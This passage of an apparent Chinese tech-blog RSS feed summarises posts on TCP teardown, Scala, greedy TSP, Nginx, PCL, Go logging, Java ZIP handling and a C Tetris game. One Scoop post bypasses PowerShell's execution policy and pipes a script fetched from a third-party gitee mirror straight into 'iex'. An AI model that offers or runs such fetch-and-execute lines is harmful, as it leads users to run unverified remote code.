连接。&#xA;四次挥手 四次挥手是指在 TCP 连接关闭时，客户端和服务器之间需要进行四次交互，以确保双方都能正常关闭连接。具体步骤如下：&#xA;第一次挥手：客户端向服务器发送 FIN 报文段，表示客户端已经没有数据要发送了。第二次挥手：服务器收到客户端的 FIN 报文段后，向客户端发送 ACK 报文段，表示已经收到客户端的 FIN 报文段。第三次挥手：服务器向客户端发送 FIN 报文段，表示服务器已经没有数据要发送了。第四次挥手：客户端收到服务器的 FIN 报文段后，向服务器发送 ACK 报文段，表示已经收到服务器的 FIN 报文段。 通过四次挥手，双方都能正常关闭连接，释放相关资源。&#xA;需要注意的是，三次握手和四次挥手是 TCP 协议中保证可靠性的重要机制，但也会造成一定的延迟和资源浪费&#xA;用一个搞笑的案例来说明三次握手</description>
    </item>
    <item>
      <title>scala基础编程案例--定义一个类Rational支持有理数的运算</title>
      <link>https://bchobby.github.io/posts/147702a6b85dd8fb3e3c8585dab54346/</link>
      <pubDate>Thu, 11 May 2023 09:28:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/147702a6b85dd8fb3e3c8585dab54346/</guid>
      <description>目录 1、案例要求2、实现思路3、完整代码4、总结 1、案例要求 1）定义一个类Rational，分子与分母作为类参数；&#xA;2）重写toString方法；&#xA;3）前提条件检查（分母是否为0检查）；&#xA;4）定义add方法实现两个有理数相加；&#xA;5）为 Rational 定义一个辅助构造函数，当分母为1时调用该辅助构造函数；&#xA;6）定义一个求分子分母最大公约数的方法，用于有理数的简化。&#xA;2、实现思路 1）定义一个类Rational，分子与分母作为类参数；&#xA;//有理数类 class Rational(n: Int, d: Int) {} 2）重写toString方法；&#xA;//重写打印函数 override def toString: String = { if (denominator != 1) numerator + &#34;/&#34; + denominator else numerator+&#34;&#34; } 3）前提条件检查（分母是否为0检查）；&#xA;//分母要求不能为0 require(d != 0) 4）定义add方法实现两个有理数相加；&#xA;//实现分数加法函数 def add(that: Rational): Rational = { new Rational(numerator * that.denominator + denominator * that.numerator, denominator * that.denominator) } 5）为 Rational 定义一个辅助构造函数，当分母为1时调用该辅助构造函数；&#xA;//辅助构造函数：若只传入一个参数，则构建n/1 def this(n:Int) = this(n, 1) 6）定义一个求分子分母最大公约数的方法，用于有理数的简化。</description>
    </item>
    <item>
      <title>ppt出现图片无法裁剪的现象</title>
      <link>https://bchobby.github.io/posts/bf2d54bc4f6a1a7e2ddf2e19d21f96e1/</link>
      <pubDate>Thu, 11 May 2023 00:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf2d54bc4f6a1a7e2ddf2e19d21f96e1/</guid>
      <description>仅作为记录，大佬请跳过。&#xA;背景 博主想将图片裁剪，右键后发现没有裁剪的选项。&#xA;解决 图片是组合状态，右键点击图片，取消组合即可。</description>
    </item>
    <item>
      <title>贪心算法【TSP问题】</title>
      <link>https://bchobby.github.io/posts/408052bb7174f46df9b6a9ce8f032085/</link>
      <pubDate>Wed, 10 May 2023 23:22:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/408052bb7174f46df9b6a9ce8f032085/</guid>
      <description>贪心简介： 只看下一次选择，比如：我需要做完一张数学试卷，我哪到试卷后做题，就先选择我最熟悉的，做完后选择我会的，最后尝试难题！每一个阶段都选择当前最优的解；&#xA;注意：我们选择的只是当前阶段的最优解，所有整体上不一定是最优解；&#xA;TSP+贪心 题目简介： TSP问题（旅行家问题）：旅行家旅行n个城市，要求每个城市仅经过一次，最后返回出发城市&#xA;选择算法：贪心算法 选择原因：每次选取到达城市代价最小的城市，当城市数量教下时，算法将近似最优解。&#xA;方便实现、复杂度较低&#xA;解决问题： 第一步：（建图） TSP问题需要用到图，因此第一步为建图&#xA;建图（建立代价矩阵）&#xA;例：&#xA;∞ 3 3 2 6&#xA;3 ∞ 7 3 2&#xA;3 7 ∞ 2 5&#xA;2 3 2 ∞ 3&#xA;6 2 5 3 ∞&#xA;第二步： 确定起点和终点，并且将终点标记，下次选择不再选择&#xA;例：&#xA;标记 : 1&#xA;1 -&amp;gt; 4 代价：2 标记 ：4&#xA;4 -&amp;gt; 3 代价：2 3&#xA;3 -&amp;gt; 5 代价：5 5&#xA;5 -&amp;gt; 2 代价：2 2&#xA;回到起点 ：&#xA;（因为第一步就将1标记，无法返回需要单独添加）</description>
    </item>
    <item>
      <title>ppt快速回到某页（幻灯片放映时）【实测成功】</title>
      <link>https://bchobby.github.io/posts/36873308aae9723bce2975eb8e15926a/</link>
      <pubDate>Wed, 10 May 2023 22:39:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/36873308aae9723bce2975eb8e15926a/</guid>
      <description>仅作为记录。&#xA;感谢大佬博主文章：传送门&#xA;即“在幻灯片放映过程中，在键盘按一下需要跳转的页面编号，再按回车键就会快速跳转到那一页。”&#xA;在未放映时，点击office的ppt的右下角图标，在所有幻灯片中进行选择，双击即可。</description>
    </item>
    <item>
      <title>32【简单】颠倒二进制位</title>
      <link>https://bchobby.github.io/posts/cc521576e10750f21903cc0a075992ba/</link>
      <pubDate>Wed, 10 May 2023 19:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc521576e10750f21903cc0a075992ba/</guid>
      <description>一、题目描述 颠倒给定的 32 位无符号整数的二进制位。&#xA;提示：&#xA;请注意，在某些语言（如 Java）中，没有无符号整数类型。在这种情况下，输入和输出都将被指定为有符号整数类型，并且不应影响您的实现，因为无论整数是有符号的还是无符号的，其内部的二进制表示形式都是相同的。&#xA;在 Java 中，编译器使用二进制补码记法来表示有符号整数。因此，在 示例 2 中，输入表示有符号整数 -3，输出表示有符号整数 -1073741825。&#xA;二、解题思路过程 class Solution: def reverseBits(self, n: int) -&amp;gt; int: s = str(bin(n)[2:].zfill(32)) # 将n转为32位字符 return int(s[::-1], base=2) # 反转后转为10进制 三、复杂度分析 时间复杂度：&#xA;空间复杂度：，使用的额外空间复杂度为常数。&#xA;四、题目来源 来源：力扣（LeetCode）&#xA;链接：https://leetcode.cn/problems/reverse-bits</description>
    </item>
    <item>
      <title>scoop提速：解决scoop软件下载慢的问题</title>
      <link>https://bchobby.github.io/posts/ce152ddbdbe015313e9ae7d1b2bb93a3/</link>
      <pubDate>Wed, 10 May 2023 16:45:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce152ddbdbe015313e9ae7d1b2bb93a3/</guid>
      <description>文章目录 1 安装scoop2 使用scoop加速下载软件2.1 如何加速下载软件2.2 编写powershell函数2.2.1 安装、更新、搜索软件2.2.2 卸载软件2.2.3 查看已安装软件 相比于linux系统，windows缺少一个比较好用的包管理器，而第三方包管理器scoop则在一定程度上解决了这个问题，但是在使用scoop的过程中，往往会由于网络的原因使得软件的安装失败。下面介绍一个方法解决这个问题。&#xA;1 安装scoop 打开 powershell&#xA;Set-ExecutionPolicy Bypass -Scope CurrentUser iwr -useb https://gitee.com/fanyi-ff/poocs/raw/master/install-scoop.ps1 | iex 2 使用scoop加速下载软件 2.1 如何加速下载软件 PS &amp;gt; scoop help install Usage: scoop install &amp;lt;app&amp;gt; [options] e.g. The usual way to install an app (uses your local &#39;buckets&#39;): scoop install git To install an app from a manifest at a URL: scoop install https://raw.githubusercontent.com/ScoopInstaller/Main/master/bucket/runat.json To install an app from a manifest on your computer scoop install \path\to\app.</description>
    </item>
    <item>
      <title>三种方法教你让模糊照片秒变高清图</title>
      <link>https://bchobby.github.io/posts/6b38d8ab18e82c8f8ff84b937aa62b6a/</link>
      <pubDate>Wed, 10 May 2023 15:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b38d8ab18e82c8f8ff84b937aa62b6a/</guid>
      <description>现在随着数字相机和智能手机的普及，我们拍摄的照片数量越来越多，但是有些照片可能因为环境或技术等原因导致模糊不清，这时候我们就需要使用一些软件或工具来让照片变得清晰，以满足我们的需求。&#xA;下面介绍三种常用的照片变清晰的方法：&#xA;1.使用记灵在线工具 记灵在线工具提供了图片变清晰的工具，具体操作如下：&#xA;第一步，打开记灵在线工具，选择“图片变清晰”工具打开。&#xA;第二步，进入新的页面，点击“选择文件”选择需要变清晰的图片文件。&#xA;第三步，等待服务器处理完成，下载处理变清晰后的图片文件。&#xA;2.使用Photoshop Photoshop是一款非常强大的图像处理软件，也可以用于照片的修复和变清晰，具体操作如下：&#xA;第一步，将图层转换为智能对象。根据界面提示，选择“滤镜”-“锐化”-“USM锐化”，然后对参数进行调整。&#xA;第二步，相应还原对比度，可以对数据和半径进行调整，控制像素的对比度指的是数量，图像边缘像素的调整指的是半径，可以调整“阈值”参数，也就是对“数量”和“半径”的修复。从而达到图片变清晰的功效。&#xA;3.使用WPS（电脑端） WPS也提供了照片变清晰的功能，具体操作如下：&#xA;第一步，选择一张模糊图片，右击选择功能“查看更多图片工具”。&#xA;第二步，点击图片工具里面的裁剪，选择相应色彩。调整参数（调整亮度，增强视觉效果。调整对比度，直到调整到合适的值为止，对比图片，调整饱和度），设置成功之后，打开即可。&#xA;以上就是三种常用的照片变清晰的方法，使用这些软件或工具可以轻松地修复模糊的照片，让它们变得更加清晰，更好地满足我们的需求。</description>
    </item>
    <item>
      <title>GET http://pcapi-xiaotuxian-front-devtest.itheima.net/category--post请求却变成get请求的原因</title>
      <link>https://bchobby.github.io/posts/4fe6f06acf7ff399a77482647c5e01c2/</link>
      <pubDate>Wed, 10 May 2023 14:17:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fe6f06acf7ff399a77482647c5e01c2/</guid>
      <description>最近写项目时被这个错误给整懵了，刚开始以为是接口的问题，后来测试发现接口没有问题，就离谱，错误如下图，&#xA;经过分析，我的代码是post请求，并且这个接口也只能使用post请求，使用get请求就会报错，如下，说明我的post没起作用，那么错误应该出现在request.js里面，果然，由于自己粗心，回车时method写成的methods,导致post请求失败。&#xA;原代码:&#xA;修改后： 结果：&#xA;就好了，哎，自己真的太粗心了，希望我这个错误对你们有帮助~ 奥利给！！</description>
    </item>
    <item>
      <title>NS-3 优化技术</title>
      <link>https://bchobby.github.io/posts/026709c482862c9ab80146b0905ddb1f/</link>
      <pubDate>Wed, 10 May 2023 13:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/026709c482862c9ab80146b0905ddb1f/</guid>
      <description> Logging系统&#xA;（1）通过环境变量修改记录系统等级&#xA;通过修改脚本代码的方法可以起到修改Logging等级的效果，但是每一次都要修改代码，对于用户来说是不愿看到的，Logging系统模块提供了通过修改环境变量的方法来修改记录系统等级。使用方法就是在编译脚本前使用export命令修改NS_LOG的值，比如针对first.cc，在终端输入：export &#39;NS_LOG=UdpEchoClientApplication=level_all:UdpEchoServerApplication=level_all&#39;&#xA;export是命令，第一个“=”为复制符号，“=”左面NS_LOG为要设置的环境变量，“=”右面的UdpEchoClientApplication=level_all是要复制给左值的字符串，使用level_all等级意味着要显示全部的调试信息。&#xA;（2）添加附加前缀&#xA;首先添加prefix_func来为每一条信息显示其产生函数，在每一条信息前都会有一个函数前缀&#xA;export &#39;NS_LOG=UdpEchoClientApplication=level_all|prefix_func:UdpEchoServerApplication=level_all|prefix_func&#39; 通过记录系统的输出信息来分析仿真程序中各个函数调用的时间以及各个事件的发生时间，每一条信息的最前面会显示其产生时间&#xA;export &#39;NS_LOG=UdpEchoClientApplication=level_all|prefix_func|prefix_time:UdpEchoServerApplication=level_all|prefix_func|prefix_time&#39; </description>
    </item>
    <item>
      <title>Nginx配置反向代理时排除指定路径</title>
      <link>https://bchobby.github.io/posts/2cfa4a1def51bd8df75803a569f459f2/</link>
      <pubDate>Wed, 10 May 2023 13:32:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cfa4a1def51bd8df75803a569f459f2/</guid>
      <description>Nginx配置反向代理时排除指定路径，示例配置如下：&#xA;location /api/ { return 404; } 以上配置将匹配所有以 /api/ 开头的请求，并返回 404 响应，从而实现排除该路径下的所有请求。&#xA;如果需要同时排除多个路径，可以在 location 指令中使用正则表达式。例如，以下配置将排除以 /api/ 或 /admin/ 开头的所有请求：&#xA;location ~ /(api|admin)/ { return 404; } 其中，~ 表示使用正则表达式进行匹配，| 表示或者的意思。</description>
    </item>
    <item>
      <title>学习PCL库：PCL库中的geometry模块介绍</title>
      <link>https://bchobby.github.io/posts/568ca90f6f99deaa6ea9dd9b7e633340/</link>
      <pubDate>Wed, 10 May 2023 11:00:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/568ca90f6f99deaa6ea9dd9b7e633340/</guid>
      <description>公众号致力于点云处理，SLAM，三维视觉，高精地图等领域相关内容的干货分享，欢迎各位加入，有兴趣的可联系dianyunpcl@163.com。未经作者允许请勿转载，欢迎各位同学积极分享和交流。&#xA;geometry模块介绍&#xA;PCL库中的geometry模块主要提供了点云几何计算的工具，geometry模块提供了点云和三维网格（mesh）处理的一些基本算法和数据结构。&#xA;学习PCL库：PCL库中filters模块&#xA;学习PCL库：PCL库中surface模块&#xA;学习PCL库：PCL库中实现了哪些分割算法？&#xA;学习PCL库需要知道哪些知识？&#xA;学习PCL库：基于LOD的大规模点云可视化&#xA;学习PCL库你应该知道的C++特性&#xA;学习PCL库：PCL库中的IO模块介绍&#xA;主要内容&#xA;pcl::LineIterator&#xA;用于在3D点云中沿直线迭代遍历点，它的原理是根据输入的起点和终点，计算出沿直线的总距离，并将该距离分为多个步长,在每个步长中，通过线性插值计算出当前迭代位置的坐标，并在点云中查找最近的点。该类的实现方法使用了线性插值、最近邻搜索等算法。主要成员函数包括：&#xA;pcl::LineIterator(const PointT &amp;amp;start, const PointT &amp;amp;end, double distance = 0.005)：构造函数，输入起点和终点坐标以及迭代的步长距离。&#xA;bool isValid() const：判断当前迭代位置是否合法。&#xA;const PointT&amp;amp; operator*() const：返回当前迭代位置的3D坐标。&#xA;LineIterator&amp;amp; operator++()：将迭代器推进到下一个位置。&#xA;其中，isValid()函数用于判断当前迭代位置是否越界，operator*()函数用于返回当前迭代位置的点云坐标，operator++()函数用于将迭代器推进到下一个位置。&#xA;pcl::geometry::MeshBase&#xA;用于表示三维网格模型的基础类，该类是一个抽象类，提供了访问和操作三角形网格模型的接口，如获取点云、三角形面片、法线等。pcl::geometry::MeshBase类的数据结构是基于半边结构的（Half-Edge Structure），该数据结构用于描述三角形网格的拓扑关系，包括点、边和面的关系，使得对网格模型的操作更加高效。其中，半边（Half-Edge）是一个有向的边，从一个顶点指向相邻的另一个顶点，并指向下一条半边，组成了一个环（Loop）。在pcl::geometry::MeshBase中，使用Vertex表示网格模型中的顶点，其中包含了三维坐标信息和一些额外的属性；使用HalfEdge表示网格模型中的半边，其中包含了顶点索引、边的索引和相邻的下一条半边的索引；使用Face表示网格模型中的三角形面片，其中包含了三个半边的索引和面片法向量。该类提供了一系列用于访问和操作三角形网格模型的接口函数，包括：&#xA;* getPointCloud()：获取网格模型的点云数据；&#xA;* getTriangles()：获取网格模型的三角形面片数据；&#xA;* computeBoundingBox()：计算网格模型的边界框；&#xA;* computeNormals()：计算网格模型的法线；&#xA;* triangulate()：对网格模型进行三角剖分；&#xA;* mergeVertices()：合并重复的顶点；&#xA;* removeVertices()：删除指定的顶点；&#xA;* removeFaces()：删除指定的面片；&#xA;* removeDegenerateFaces()：删除包含重复顶点或长度为0的边的面片。&#xA;此外，pcl::geometry::MeshBase还提供了一些用于获取和设置网格模型数据结构的接口函数，如获取点、半边和面的数量，获取指定索引的点、半边和面，以及添加新的点、半边和面等。&#xA;pcl::geometry::VertexAroundVertexCirculator&#xA;pcl::geometry::VertexAroundVertexCirculator 实现点云网格处理的重要类之一，用于迭代遍历给定点的所有相邻点。该类的实现基于半边数据结构 (Half-Edge Data Structure) ，半边数据结构是一种用于表示三维多面体和网格的数据结构。通过构建这种数据结构，可以轻松访问点、边、面以及相邻的实体，并对它们进行操作。半边数据结构中的每条半边都存储了以下信息：&#xA;该半边的起始点&#xA;该半边所在的面&#xA;该半边的下一条半边&#xA;该半边的对称半边&#xA;pcl::geometry::VertexAroundVertexCirculator 封装了半边数据结构的迭代器，以实现点云网格处理的相关操作。通过使用 pcl::geometry::VertexAroundVertexCirculator 迭代器，可以轻松遍历给定点的所有相邻点，实现点云网格处理中的相关操作，例如法向量计算和邻域点云特征提取。</description>
    </item>
    <item>
      <title>golang标准库之log日志</title>
      <link>https://bchobby.github.io/posts/30633337d966a57548c5ced18b6f7305/</link>
      <pubDate>Wed, 10 May 2023 10:11:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30633337d966a57548c5ced18b6f7305/</guid>
      <description>一、log包简介 golang内置了log包，通过调用log包的函数，可以实现简单的日志打印功能。&#xA;log包还定义了Logger类型，提供了一些格式化输出的方法。也提供了一个预定义的“标准”logger，可以通过调用函数Print系列(Print|Printf|Println）、Fatal系列（Fatal|Fatalf|Fatalln）、和Panic系列（Panic|Panicf|Panicln）来使用,比自行创建一个logger对象更容易使用,它们会将日志信息打印到终端界面;&#xA;二、log包使用 2.1 log.Print/Println/Printf函数 仅打印日志。&#xA;package main import ( &#34;log&#34; ) func main() { log.Print(&#34;Print: hello&#34;) //直接打印 log.Println(&#34;Println: hello pob&#34;) //打印并换行 log.Printf(&#34;Printf:hello %s&#34;, &#34;alice&#34;) //格式化打印（可加变量） } 运行结果&#xA;@deMacBook-Pro learning % go run go_package.go 2023/05/09 09:37:45 Print: hello 2023/05/09 09:37:45 Println: hello pob 2023/05/09 09:37:45 Printf:hello alice Printf格式化输出，%(占位符)字母解析:&#xA;占位符说明举例输出%v相应值的默认格式name := “张三”, fmt.Printf(“%v”, name)张三%+v打印结构体时，会添加字段名Printf(“%+v”, people){Name:zhangsan}%%字面上的百分号，并非值的占位符Printf(“%%”)%%t布尔值 ，true 或 falsePrintf(“%t”, true)true%d整数,十进制表示Printf(“%d”, 0x12)18%s字符串和字节片（string类型或[]byte),输出字符串表示Printf(“%s”, []byte(“Go语言”))Go语言％f打印float类型，默认宽度，默认精度log.Printf(“%.2f”, 11.222222)11.22 eg：&#xA;package main import ( &#34;log&#34; ) func main() { type peplo struct { Name string Age int } var ppp peplo ppp.</description>
    </item>
    <item>
      <title>Microsoft Edge崩溃，错误代码: status_stack_buffer_overrun</title>
      <link>https://bchobby.github.io/posts/9ace25313ac42924280024c66a92d870/</link>
      <pubDate>Wed, 10 May 2023 09:05:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ace25313ac42924280024c66a92d870/</guid>
      <description>转载：Edge浏览器升级后，打开网页都报错，如何解决？ - 知乎</description>
    </item>
    <item>
      <title>西南交通大学算法分析与设计实验5.3</title>
      <link>https://bchobby.github.io/posts/e310c2fb6be67d367b7a1de81727722d/</link>
      <pubDate>Wed, 10 May 2023 06:52:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e310c2fb6be67d367b7a1de81727722d/</guid>
      <description>本文仅给出实现的代码，代码仅经过简单的样例测试，不保证逻辑完全正确。&#xA;#include &#34;iostream&#34; using namespace std; int n, m, result; // 标记该位置是否为大厦 int house[1001][1001]; // dp数组 int dp[1001][1001]; // 两个点是否被大厦阻挡 int Check(int x, int y, int x1, int y1) { bool left_up_1 = house[x - 1][y - 1]; bool left_down_1 = house[x][y - 1]; bool right_up_1 = house[x - 1][y]; bool right_down_1 = house[x][y]; bool left_up_2 = house[x1 - 1][y1 - 1]; bool left_down_2 = house[x1][y1 - 1]; bool right_up_2 = house[x1 - 1][y1]; bool right_down_2 = house[x1][y1]; if (x == 0) { left_up_1 = false; right_up_1 = false; } if (y == m) { right_up_1 = false; right_down_1 = false; } if (x1 == 0) { left_up_2 = false; right_up_2 = false; } if (y1 == m) { right_up_2 = false; right_down_2 = false; } // 两个点有一个在大厦内部 if ((left_up_1 &amp;amp;&amp;amp; left_down_1 &amp;amp;&amp;amp; right_up_1 &amp;amp;&amp;amp; right_down_1) || (left_up_2 &amp;amp;&amp;amp; left_down_2 &amp;amp;&amp;amp; right_up_2 &amp;amp;&amp;amp; right_down_2)) { return 1; } // 左右阻挡 if ((left_up_1 &amp;amp;&amp;amp; left_down_1 &amp;amp;&amp;amp; right_up_2 &amp;amp;&amp;amp; right_down_2) || (left_up_2 &amp;amp;&amp;amp; left_down_2 &amp;amp;&amp;amp; right_up_1 &amp;amp;&amp;amp; right_down_1)) { return 1; // 上下阻挡 } else if ((right_up_1 &amp;amp;&amp;amp; left_up_1 &amp;amp;&amp;amp; right_down_2 &amp;amp;&amp;amp; left_down_2) || (right_up_2 &amp;amp;&amp;amp; left_up_2 &amp;amp;&amp;amp; right_down_1 &amp;amp;&amp;amp; left_down_1)) { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>Vue项目启动报错：error:cannot find module xxx</title>
      <link>https://bchobby.github.io/posts/c579e8922b3757107df43250ee0924a6/</link>
      <pubDate>Wed, 10 May 2023 00:38:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c579e8922b3757107df43250ee0924a6/</guid>
      <description>原因：无法找到项目依赖的某个模块&#xA;解决办法：&#xA;1、删掉存放模块的文件夹node_module；&#xA;2、执行清除缓存命令 npm cache clean；&#xA;如果报错，使用强制清除npm cache clean --force；&#xA;如果还报错，删除package-lock.json文件；&#xA;3、重新安装模块，npm install；（会重新自动生成package-lock.json文件）&#xA;然后npm run serve重启就可以了</description>
    </item>
    <item>
      <title>Java压缩与解压缩ZIP文件</title>
      <link>https://bchobby.github.io/posts/d6d7ca29d0a12274b6c73022276359da/</link>
      <pubDate>Wed, 10 May 2023 00:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6d7ca29d0a12274b6c73022276359da/</guid>
      <description>文章目录 前言Java解压缩文件压缩和解压缩ZIP文件检验应用总结 前言 在现代计算机上，数据传输和存储越来越依赖于文件压缩技术。当我们需要发送大量数据时，压缩文件可以大大减少传输时间和网络带宽，而且压缩文件还可以帮助我们节省磁盘空间。在Java中提供了压缩和解压缩文件的功能，可以使用java.util.zip包中的类来实现。本篇将对如何使用 Java 实现单文多件压缩和解压缩进行总结。&#xA;文件压缩指的是将一个或多个文件通过压缩算法，将其存储为一个更小的文件，以便于存储和传输。压缩的原理是通过对文件的数据进行编码和压缩，使其占用更少的空间。压缩后的文件可以通过解压缩算法还原成原始的文件格式。在文件压缩过程中，常见的操作是将多个文件打包成一个压缩文件，例如zip、tar等格式。&#xA;Java解压缩文件 常见的文件压缩格式包括：&#xA;ZIP：最常见的压缩文件格式之一，可以存储一个或多个文件，并可在不同的操作系统中进行解压缩。TAR：Linux系统中的常见文件压缩格式，通常用于打包多个文件，但不会进行压缩。GZIP：常用的文件压缩格式，通常用于压缩单个文件，可以获得更高的压缩比。BZIP2：高效的压缩算法，通常用于压缩文本文件和XML文件等。JAR: Jar包对于Java开发同学来说肯定很熟悉，其也是一个压缩包 Java提供了多种用于压缩和解压缩文件的API，主要包括以下类和方法：&#xA;ZipOutputStream 和 ZipInputStream：用于创建和读取ZIP格式的压缩文件。GZIPOutputStream 和 GZIPInputStream：用于创建和读取GZIP格式的压缩文件。JarOutputStream 和 JarInputStream：用于创建和读取JAR格式的压缩文件。DeflaterOutputStream 和 InflaterInputStream：用于创建和读取DEFLATE格式的压缩文件。CheckedOutputStream 和 CheckedInputStream：用于在压缩和解压缩过程中计算文件的校验和。 压缩和解压缩ZIP文件 通过使用Java 自带的 java.util.zip 类库下的ZipOutputStream、ZipInputStream、ZipEntry实现文件的压缩和解压缩，其中ZipOutputStream用于创建ZIP压缩文件输出流输出ZIP压缩文件，ZipInputStream用于创建ZIP文件输入流读取ZIP文件用于解压缩而ZipEntry对应ZIP压缩包中的每个被压缩对象；&#xA;生成ZIP文件&#xA;压缩单个文件或者单个文件夹方法，代码如下:&#xA;/** * 压缩文件(支持单个文件和单个文件夹) * @param sourceFile 被压缩文件/文件夹 * @param zipFile Zip文件 */ public static void zipCompress(File sourceFile, File zipFile) { try (ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(zipFile))) { // 设置压缩方法 zos.setMethod(ZipOutputStream.DEFLATED); zos.setLevel(Deflater.BEST_COMPRESSION); // 默认为-1,压缩级别，1速度快，效率低，9 速度满，效率高 // zos.setLevel(Deflater.BEST_SPEED); zos.setComment(&#34;zip文件说明&#34;); // 处理文件夹 if (sourceFile.</description>
    </item>
    <item>
      <title>俄罗斯方块的实现—C语言</title>
      <link>https://bchobby.github.io/posts/c075f33c84ee91987747305b4120b5c3/</link>
      <pubDate>Tue, 09 May 2023 22:24:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c075f33c84ee91987747305b4120b5c3/</guid>
      <description>目录&#xA;简单解释几个函数：&#xA;1、制作俄罗斯方块：&#xA;2、 判断方块是否可以移动&#xA;3、 判断是否满行&#xA;完整代码如下：&#xA;运行界面展示：&#xA;█ 开发工具：Dev C++&#xA;简单解释几个函数： 1、制作俄罗斯方块： /* *制作俄罗斯方块 */ void MakeTetris(struct Tetris *tetris) { a[tetris-&amp;gt;x][tetris-&amp;gt;y ]=b[0]; switch(tetris-&amp;gt;flag) { case 1: { color(2); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 2: { color(3); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[2]; a[tetris-&amp;gt;x+4][tetris-&amp;gt;y]=b[3]; break; } case 3: { color(3); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y-2]=b[2]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[3]; break; } case 4: { color(11); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[2]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[3]; break; } case 5: { color(11); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[3]; break; } case 6: { color(11); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 7: { color(11); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 8: { color(6); a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y+1]=b[3]; break; } case 9: { color(6); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[2]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y+1]=b[3]; break; } case 10: { color(6); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 11: { color(6); a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[3]; break; } case 12: { color(7); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y-1]=b[3]; break; } case 13: { color(7); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 14: { color(7); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y+1]=b[3]; break; } case 15: { color(7); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 16: { color(7); a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y-1]=b[3]; break; } case 17: { color(7); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } case 18: { color(7); a[tetris-&amp;gt;x][tetris-&amp;gt;y-1]=b[1]; a[tetris-&amp;gt;x][tetris-&amp;gt;y+1]=b[2]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y+1]=b[3]; break; } case 19: { color(7); a[tetris-&amp;gt;x-2][tetris-&amp;gt;y]=b[1]; a[tetris-&amp;gt;x-2][tetris-&amp;gt;y-1]=b[2]; a[tetris-&amp;gt;x+2][tetris-&amp;gt;y]=b[3]; break; } } } ✔在本游戏中，使用“■”来填充各种方块，在横向上，它占两个字符；在纵向上，它占一个字符。俄罗斯方块的7种基本图形旋转后共有19种旋转图形。而此段代码就是制作出这19种俄罗斯形状。</description>
    </item>
    <item>
      <title>贪吃蛇的实现—C语言</title>
